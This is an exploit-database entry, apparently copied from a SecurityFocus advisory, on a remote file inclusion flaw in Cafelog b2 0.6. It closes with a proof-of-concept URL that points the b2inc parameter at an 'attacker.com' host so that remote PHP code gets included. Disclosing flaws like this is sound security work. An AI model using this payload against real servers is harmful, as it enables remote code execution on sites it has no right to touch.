Cafelog b2 0.6 - Remote File Inclusion

Author: pokleyzz
type: webapps
platform: php
port: 
date_added: 2003-05-29 
date_updated: 2012-11-13 
verified: 1 
codes: OSVDB-50532 
tags: 
aliases:  
screenshot_url:  
application_url: 

source: https://www.securityfocus.com/bid/7738/info

A remote file include vulnerability has been reported for Cafelog. Due to insufficient sanitization of some user-supplied variables by the 'blogger-2-b2.php' and 'gm-2-b2.php' scripts, it is possible for a remote attacker to include a malicious PHP file in a URL.

If the remote file is a malicious PHP script, this may allow for execution of attacker-supplied PHP code with the privileges of the web server.

http://blabla.com/b2-tools/gm-2-b2.php?b2inc=http://attacker.com